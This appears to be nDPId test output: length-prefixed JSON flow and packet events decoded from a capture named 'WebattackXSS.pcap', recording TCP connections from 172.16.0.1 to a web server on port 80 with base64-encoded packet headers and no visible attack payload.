+00444{"flow_id":451,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6376,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347731,"pkt_ts_usec":797935,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ67ZFR3+Dhk4yjqAScSB7XAAAAgQFtAQCCAoD5aOWATvSIgEDAwc="} +00433{"flow_id":451,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6377,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347731,"pkt_ts_usec":798629,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04LBAAD4G5SesEAABwKgKMuu2AFCGTjKORUd\/hIAQAOUaZAAAAQEICgE70iID5aOW"} +00432{"flow_id":448,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6381,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347731,"pkt_ts_usec":817655,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0cc1AAD4GVAusEAABwKgKMuuAAFD+Zrzgw0ETpoARAOULGgAAAQEICgE70icD5Z6J"} +00433{"flow_id":448,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6382,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347731,"pkt_ts_usec":817811,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0sD1AAEAGE5vAqAoyrBAAAQBQ64DDQROm\/ma84YARAOMGCQAAAQEICgPlo5sBO9In"} +00432{"flow_id":448,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6383,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347731,"pkt_ts_usec":818403,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0cc5AAD4GVAqsEAABwKgKMuuAAFD+Zrzhw0ETp4AQAOUGBwAAAQEICgE70icD5aOb"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6387,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":452,"flow_packet_id":1,"flow_first_seen":1499347733083,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60356,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":452,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6387,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347733,"pkt_ts_usec":83460,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8\/vJAAD4Gxt2sEAABwKgKMuvEAFCmnS2RAAAAAKACchDKIQAAAgQFtAQCCAoBO9NjAAAAAAEDAwc="} +00443{"flow_id":452,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6388,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347733,"pkt_ts_usec":83627,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ68TrnH4qpp0tkqAScSC4ewAAAgQFtAQCCAoD5aTYATvTYwEDAwc="} +00432{"flow_id":452,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6389,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347733,"pkt_ts_usec":84166,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/vNAAD4GxuSsEAABwKgKMuvEAFCmnS2S65x+K4AQAOVXgwAAAQEICgE702MD5aTY"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6396,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":453,"flow_packet_id":1,"flow_first_seen":1499347734348,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60370,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":453,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6396,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347734,"pkt_ts_usec":348737,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8gzpAAD4GQpasEAABwKgKMuvSAFDIKlelAAAAAKACchB9NgAAAgQFtAQCCAoBO9SfAAAAAAEDAwc="} +00444{"flow_id":453,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6397,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347734,"pkt_ts_usec":348867,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ69JCAHRCyCpXpqAScSAd2QAAAgQFtAQCCAoD5aYUATvUnwEDAwc="} +00432{"flow_id":453,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6398,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347734,"pkt_ts_usec":349426,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gztAAD4GQp2sEAABwKgKMuvSAFDIKlemQgB0Q4AQAOW83wAAAQEICgE71KAD5aYU"} +00432{"flow_id":449,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6403,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347734,"pkt_ts_usec":818428,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NhNAAD4Gj8WsEAABwKgKMuuaAFCuIPmLZSq54YARAOXRAQAAAQEICgE71RUD5aEQ"} +00432{"flow_id":449,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6404,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347734,"pkt_ts_usec":818654,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0H2tAAEAGpG3AqAoyrBAAAQBQ65plKrnhriD5jIARAOPLiAAAAQEICgPlpooBO9UV"} +00432{"flow_id":449,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6405,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347734,"pkt_ts_usec":819205,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NhRAAD4Gj8SsEAABwKgKMuuaAFCuIPmMZSq54oAQAOXLhgAAAQEICgE71RUD5aaK"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6409,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":454,"flow_packet_id":1,"flow_first_seen":1499347735664,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60384,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":454,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6409,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347735,"pkt_ts_usec":664516,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8QgpAAD4Gg8asEAABwKgKMuvgAFB2opfiAAAAAKACchCNKgAAAgQFtAQCCAoBO9XoAAAAAAEDAwc="} +00445{"flow_id":454,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6410,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347735,"pkt_ts_usec":664610,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6+DN1JXXdqKX46AScSB\/GgAAAgQFtAQCCAoD5addATvV6AEDAwc="} +00432{"flow_id":454,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6411,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347735,"pkt_ts_usec":665384,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QgtAAD4Gg82sEAABwKgKMuvgAFB2opfjzdSV2IAQAOUeIQAAAQEICgE71ekD5add"} +00432{"flow_id":450,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6415,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347735,"pkt_ts_usec":818881,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03uxAAD4G5uusEAABwKgKMuuoAFBoeQ41xcIs7YARAOUsEgAAAQEICgE71g8D5aJS"} +00433{"flow_id":450,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6416,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347735,"pkt_ts_usec":819047,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0i2lAAEAGOG\/AqAoyrBAAAQBQ66jFwiztaHkONoARAOMm4QAAAQEICgPlp4QBO9YP"} +00432{"flow_id":450,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6417,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347735,"pkt_ts_usec":819813,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03u1AAD4G5uqsEAABwKgKMuuoAFBoeQ42xcIs7oAQAOUm3wAAAQEICgE71g8D5aeE"} +00433{"flow_id":451,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6421,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347736,"pkt_ts_usec":819316,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04LFAAD4G5SasEAABwKgKMuu2AFCGTjKORUd\/hIARAOUVfAAAAQEICgE71wkD5aOW"} +00433{"flow_id":451,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6422,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347736,"pkt_ts_usec":819502,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA01\/pAAEAG693AqAoyrBAAAQBQ67ZFR3+Ehk4yj4ARAOMQlQAAAQEICgPlqH4BO9cJ"} +00433{"flow_id":451,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6423,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347736,"pkt_ts_usec":820049,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04LJAAD4G5SWsEAABwKgKMuu2AFCGTjKPRUd\/hYAQAOUQkwAAAQEICgE71wkD5ah+"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6430,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":455,"flow_packet_id":1,"flow_first_seen":1499347738229,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60410,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":455,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6430,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347738,"pkt_ts_usec":229231,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8bexAAD4GV+SsEAABwKgKMuv6AFCQibWGAAAAAKACchBTAwAAAgQFtAQCCAoBO9hqAAAAAAEDAwc="} +00445{"flow_id":455,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6431,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347738,"pkt_ts_usec":229408,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6\/pIUQYXkIm1h6AScSBXtgAAAgQFtAQCCAoD5aneATvYagEDAwc="} +00432{"flow_id":455,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6432,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347738,"pkt_ts_usec":229931,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0be1AAD4GV+usEAABwKgKMuv6AFCQibWHSFEGGIAQAOX2vQAAAQEICgE72GoD5ane"} +00433{"flow_id":452,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6436,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347738,"pkt_ts_usec":819587,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/vRAAD4GxuOsEAABwKgKMuvEAFCmnS2S65x+K4ARAOVR6AAAAQEICgE72P0D5aTY"} +00432{"flow_id":452,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6437,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347738,"pkt_ts_usec":819834,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA01FlAAEAG737AqAoyrBAAAQBQ68TrnH4rpp0tk4ARAONMTwAAAQEICgPlqnIBO9j9"} +00433{"flow_id":452,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6438,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347738,"pkt_ts_usec":820356,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/vVAAD4GxuKsEAABwKgKMuvEAFCmnS2T65x+LIAQAOVMTQAAAQEICgE72P0D5apy"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6442,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":456,"flow_packet_id":1,"flow_first_seen":1499347739497,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60424,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":456,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6442,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347739,"pkt_ts_usec":497368,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8XjZAAD4GZ5qsEAABwKgKMuwIAFCYkYeRAAAAAKACchB3pQAAAgQFtAQCCAoBO9mnAAAAAAEDAwc="} +00444{"flow_id":456,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6443,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347739,"pkt_ts_usec":497465,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7AiW6z+EmJGHkqAScSDzEwAAAgQFtAQCCAoD5asbATvZpwEDAwc="} +00433{"flow_id":456,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6444,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347739,"pkt_ts_usec":498265,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XjdAAD4GZ6GsEAABwKgKMuwIAFCYkYeSlus\/hYAQAOWSGwAAAQEICgE72acD5asb"} +00432{"flow_id":453,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6448,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347739,"pkt_ts_usec":819695,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gzxAAD4GQpysEAABwKgKMuvSAFDIKlemQgB0Q4ARAOW3hwAAAQEICgE72fcD5aYU"} +00432{"flow_id":453,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6449,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347739,"pkt_ts_usec":819941,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA03y9AAEAG5KjAqAoyrBAAAQBQ69JCAHRDyCpXp4ARAOOyMAAAAQEICgPlq2wBO9n3"} +00432{"flow_id":453,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6450,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347739,"pkt_ts_usec":820491,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gz1AAD4GQpusEAABwKgKMuvSAFDIKlenQgB0RIAQAOWyLgAAAQEICgE72fcD5ats"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6454,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":457,"flow_packet_id":1,"flow_first_seen":1499347740751,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60438,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":457,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6454,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347740,"pkt_ts_usec":751827,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8V35AAD4GblKsEAABwKgKMuwWAFBKCo2eAAAAAKACchC+2AAAAgQFtAQCCAoBO9rgAAAAAAEDAwc="} +00444{"flow_id":457,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6455,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347740,"pkt_ts_usec":751958,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7Bb1vAeUSgqNn6AScSASLAAAAgQFtAQCCAoD5axVATva4AEDAwc="} +00432{"flow_id":457,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6456,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347740,"pkt_ts_usec":752516,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0V39AAD4GblmsEAABwKgKMuwWAFBKCo2f9bwHlYAQAOWxMwAAAQEICgE72uAD5axV"} +00432{"flow_id":454,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6460,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347740,"pkt_ts_usec":820415,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QgxAAD4Gg8ysEAABwKgKMuvgAFB2opfjzdSV2IARAOUZGAAAAQEICgE72vED5add"} +00432{"flow_id":454,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6461,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347740,"pkt_ts_usec":820603,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Ob5AAEAGihrAqAoyrBAAAQBQ6+DN1JXYdqKX5IARAOMUEAAAAQEICgPlrGYBO9rx"} +00432{"flow_id":454,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6462,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347740,"pkt_ts_usec":821372,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Qg1AAD4Gg8usEAABwKgKMuvgAFB2opfkzdSV2YAQAOUUDQAAAQEICgE72vID5axm"} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":380,"flow_packet_id":321,"flow_first_seen":1499347611162,"flow_last_seen":1499347679227,"flow_tot_l4_data_len":242655,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1901,"flow_avg_l4_data_len":755,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59042,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":414,"flow_packet_id":6,"flow_first_seen":1499347668069,"flow_last_seen":1499347673803,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59650,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":414,"flow_packet_id":6,"flow_first_seen":1499347668069,"flow_last_seen":1499347673803,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59650,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6463,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":415,"flow_packet_id":6,"flow_first_seen":1499347669336,"flow_last_seen":1499347674804,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59664,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} 